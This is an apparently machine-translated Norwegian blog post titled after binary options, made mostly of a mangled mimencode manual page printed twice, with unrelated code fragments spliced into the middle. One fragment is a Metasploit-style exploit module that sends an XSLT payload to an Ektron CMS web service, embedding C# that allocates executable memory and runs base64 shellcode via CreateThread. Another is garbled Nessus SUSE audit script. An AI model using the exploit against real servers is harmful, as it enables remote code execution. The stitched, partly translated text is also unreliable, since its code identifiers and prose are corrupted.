Sunday 5 November 2017

Mimencode Binære Alternativer


Seksjon: Brukerkommandoer (1) Oppdatert: Utgitt 1 Memmekode for indeks - Oversett til og fra postorienterte kodingsformater (Samme program er også installert som quotmmencodequot.) Mimencode - u - b - q - p filnavn - o outputfile BESKRIVELSE Mimencode-programmet konverterer bare en byte strøm til (eller ut av) en av de standard postkodingsformatene definert av MIME, den foreslåtte standarden for internett multimedie-postformater. En slik koding er nødvendig fordi binære data ikke kan sendes via posten. Kodingene forstått av mimenode er foretrukket for bruk av uuencodeuudecode programmer, for bruk i post, på flere måter som var viktige for forfatterne av MIME. Som standard leser mimenode standardinngang, og sender en quotbase64quot-kodet versjon av inngangen til standardutgang. Den (egentlig ikke nødvendig) quot-bquot-alternativet forteller mimenode for å bruke quotbase64quot-kodingen. Quot-qquot-alternativet forteller at mimenodekoden bruker quotquoted-printablequot-kodingen i stedet for base64. Quot-uquot-alternativet forteller at mimenodkode dekoder standardinngangen i stedet for å kode det. Quot-pquot-alternativet forteller mimenode for å oversette avkodede CRLF-sekvenser til den lokale Newline-konvensjonen under dekoding og å gjøre det omvendte under kodingen. Dette alternativet er bare meningsfylt når - b (base64-koding) er i kraft. Hvis et filnavnargument er gitt, leses innspillet fra den filen i stedet for fra standardinngangen. Alternativet Quot-Oquot, som må følges av et filnavn, sender utdata til den navngitte filen i stedet for standardutgang. Mimencode er ment å være en erstatning for uuencode for post og nyhetsbruk. Årsaken er enkel: uuencode virker ikke veldig bra i en rekke omstendigheter og måter. Spesielt bruker uuencode tegn som ikke oversettes godt over alle postgateways (spesielt ASCII lt-gt EBCDIC gateways). Også uuencode er ikke standard - det finnes flere varianter som flyter rundt, koder og dekoder ting på forskjellige og inkompatible måter, uten kvoteringskvoter som skal basere en implementering. Endelig fungerer uuencode vanligvis ikke godt i et rør, selv om enkelte varianter har blitt modifisert for å gjøre det. Mimencode implementerer kodingene som ble definert for MIME som uuencode erstatninger, og bør være betydelig mer robust for bruk av e-post. Dette programmet ble opprinnelig distribuert som quotmmencodequot. Det navnet viser seg å være i konflikt med et program med samme navn som er en del av Slate-programvaren fra BBN, men å endre navnet til mimencode ville skape andre problemer (spesielt med portabilitet til systemer der venstre halvdel av filnavn er begrenset til 8 tegn). For tiden distribueres den med lenker under begge navnene. Programmene i distribusjonen som kaller programmet alle kaller det som quotmimencodequot, slik at quotmmencodequot-versjonen kan bli slettet på nettsteder der det forårsaker et problem. (Kildefilene er fortsatt kalt quotmmencodequot i stedet for quotmimencodequot.) Opphavsrett (c) 1991 Bell Communications, Inc. (Bellcore) Tillatelse til bruk, kopiering, modifisering og distribusjon av dette materialet til noe formål og uten avgift er herved gitt, forutsatt at at ovennevnte varsel om opphavsrett og denne tillatelsen vises i alle kopier, og at navnet Bellcore ikke blir brukt i reklame eller publisitet knyttet til dette materialet uten den spesifikke, forhåndsgodkjente tillatelsen fra en autorisert representant for Bellcore. BELLCORE GJØR INGEN REPRESENTASJON OM NØYAKTIGHET ELLER GJENNOMHET AV DETTE MATERIALET FOR NOGT FORMÅL. DET LEVERES kvoter ISquot, UTEN NOEN UTTRYKKELIGE ELLER UNDERFORSTÅTE GARANTIER. Nathaniel S. BorensteinError nreturn Utnyttelse :: CheckCode :: Sårbar nend nreturn Utnyttelse :: CheckCode :: Sikker nend n ndef uripath nuripath targeturi. path nuripath ltlt quotquot hvis uripath-1, 1 quotquot nuripath nend n ndef buildreferer nif datastorex27SSLx27 nschema quotquot nelse nschema quote nend nerferer skjema nreferer ltlt rhost nreferer ltlt quotrreferer ltlt uripath nreferer nend n ndef utnytte n nprintstatus (quotGenerating EXE Payload og XSLT. quot) nfingerprint randtextalpha (5 rand (5)) n nxsltdata ltlt-XSLT n nprivate statiske uint32 MEMCOMMIT 0x1000 nprivate statisk uint32 PAGEEXECUTEREADWRITE 0x40 n nSystem. Runtime. InteropServices. DllImport (quotkernel32quot) nprivate statisk extern uint32 VirtualAlloc (uint32 lpStartAddr, uint32 størrelse, uint32 flAllocationType, uint32 flProtect) n nSystem. Runtime. InteropServices. DllImport (quotkernel32quot) nprivate statisk ekstern IntPtr CreateThread (UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, Int Ptr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId) n nnpublic streng xml () n nbte shellcode System. Convert. FromBase64String (shellcode64) nUInt32 funcAddr VirtualAlloc (0, (UInt32) shellcode. Length, MEMCOMMIT, PAGEEXECUTEREADWRITE) nSystem. Runtime. InteropServices. Marshal. Copy (shellcode. 0, (IntPtr) (funcAddr), skjermkode. Lengde) nIntPtr hThread IntPtr. Zero nIntPtr pinfo IntPtr. Zero nUInt32 threadId 0 nhThread OpprettThread (0, 0, funcAddr, pinfo, 0, ref threadId) nreturn quote nNXSLT n nprintstatus quotTrying for å kjøre xslt-transformasjonen. quot) nres sendrequestcgi (n WorkAreaServerControlWS. asmxquot, nx27versionx27 gt x271.1x27, nx27methodx27 gt x27POSTx27, nx27ctypex27 gt quottextxml charsetUTF-8quot, nx27headersx27 gt, nx27datax27 gt xsltdata n) reser og resit 200 (SLEDSLES) quot) revisjon (AUDITOSNOT, quotSUSEquot) nosver eregmatch (mønster: quot (SLE (SD) d) quote, streng: utgivelse) nif (isnull (osver)) revisjon (AUDITUNKNOWNAPPVER, quotSUSEquot) nosver osver1nif revisjon (AUDITOSNOT, quotSUSE SLES11quot, quotSUSE-kvot osver) nnif (getkbitem (quotHostSuSErpm-listquot)) revisjon (AUDITPACKAGELISTMISSING) nncpu getkbitem (quotHostcpuquot) nif (isnull (cpu) ) revisjon (AUDITUNKNOWNARCH) nif (cpu quote (SLEDSLES) qu) aud det (AUDITOSNOT, quotSUSEquot) nosver eregmatch (mønster: quot (SLE (SD) d) citer, streng: utgivelse) nif (isnull (osver)) revisjon (AUDITUNKNOWNAPPVER, quotSUSEquot) nosver osver1nif revisjon (AUDITPACKAGELISTMISSING) nncpu getkbitem (quotHostcpuquot) nif (isnull (cpu)) revisjon (AUDITUNKNOWNARCH) nif (cpu (cpu)), revisjon (AUDITPACKAGELISTMISSING), revisjon (AUDITOSNOT, quotSUSE SLES12quot, quotSUSE citationsteam osver) nnif (getkbitem (quotHostSuSErpm-listquot) Samme program er også installert som quotmmencodequot.) Mimencode - u - b - q - p filnavn - o outputfile BESKRIVELSE Mimencode-programmet konverterer ganske enkelt en byte-strøm til (eller ut av) en av de standard postkodingsformatene definert av MIME, den foreslåtte standard for internett multimedie-postformater. En slik koding er nødvendig fordi binære data ikke kan sendes via posten. Kodingene forstått av mimenode er foretrukket for bruk av uuencodeuudecode programmer, for bruk i post, på flere måter som var viktige for forfatterne av MIME. Som standard leser mimenode standardinngang, og sender en quotbase64quot-kodet versjon av inngangen til standardutgang. Den (egentlig ikke nødvendig) quot-bquot-alternativet forteller mimenode for å bruke quotbase64quot-kodingen. Quot-qquot-alternativet forteller at mimenodekoden bruker quotquoted-printablequot-kodingen i stedet for base64. Quot-uquot-alternativet forteller at mimenodkode dekoder standardinngangen i stedet for å kode det. Quot-pquot-alternativet forteller mimenode for å oversette avkodede CRLF-sekvenser til den lokale Newline-konvensjonen under dekoding og å gjøre det omvendte under kodingen. Dette alternativet er bare meningsfylt når - b (base64-koding) er i kraft. Hvis et filnavnargument er gitt, leses innspillet fra den filen i stedet for fra standardinngangen. Alternativet Quot-Oquot, som må følges av et filnavn, sender utdata til den navngitte filen i stedet for standardutgang. Mimencode er ment å være en erstatning for uuencode for post og nyhetsbruk. Årsaken er enkel: uuencode doesnrsquot fungerer veldig bra i en rekke omstendigheter og måter. Spesielt bruker uuencode tegn som donrsquot oversetter godt over alle postgateways (spesielt ASCII lt-gt EBCDIC gateways). Også uuencode er ikke standard - det finnes flere varianter som flyter rundt, koder og dekoder ting på forskjellige og inkompatible måter, uten kvoteringskvoter som skal basere en implementering. Endelig fungerer uuencode vanligvis ikke godt i et rør, selv om enkelte varianter har blitt modifisert for å gjøre det. Mimencode implementerer kodingene som ble definert for MIME som uuencode erstatninger, og bør være betydelig mer robust for bruk av e-post. Dette programmet ble opprinnelig distribuert som quotmmencodequot. Det navnet viser seg å være i konflikt med et program med samme navn som er en del av Slate-programvaren fra BBN, men å endre navnet til mimencode ville skape andre problemer (spesielt med portabilitet til systemer der venstre halvdel av filnavn er begrenset til 8 tegn). For tiden distribueres den med lenker under begge navnene. Programmene i distribusjonen som kaller programmet alle kaller det som quotmimencodequot, slik at quotmmencodequot-versjonen kan bli slettet på nettsteder der det forårsaker et problem. (Kildefilene er fortsatt kalt quotmmencodequot i stedet for quotmimencodequot.) Opphavsrett (c) 1991 Bell Communications, Inc. (Bellcore) Tillatelse til bruk, kopiering, modifisering og distribusjon av dette materialet til noe formål og uten avgift er herved gitt, forutsatt at at ovennevnte varsel om opphavsrett og denne tillatelsen vises i alle kopier, og at navnet Bellcore ikke blir brukt i reklame eller publisitet knyttet til dette materialet uten den spesifikke, forhåndsgodkjente tillatelsen fra en autorisert representant for Bellcore. BELLCORE GJØR INGEN REPRESENTASJON OM NØYAKTIGHET ELLER GJENNOMHET AV DETTE MATERIALET FOR NOGT FORMÅL. DET LEVERES kvoter ISquot, UTEN NOEN UTTRYKKELIGE ELLER UNDERFORSTÅTE GARANTIER. Nathaniel S. Borenstein

No comments:

Post a Comment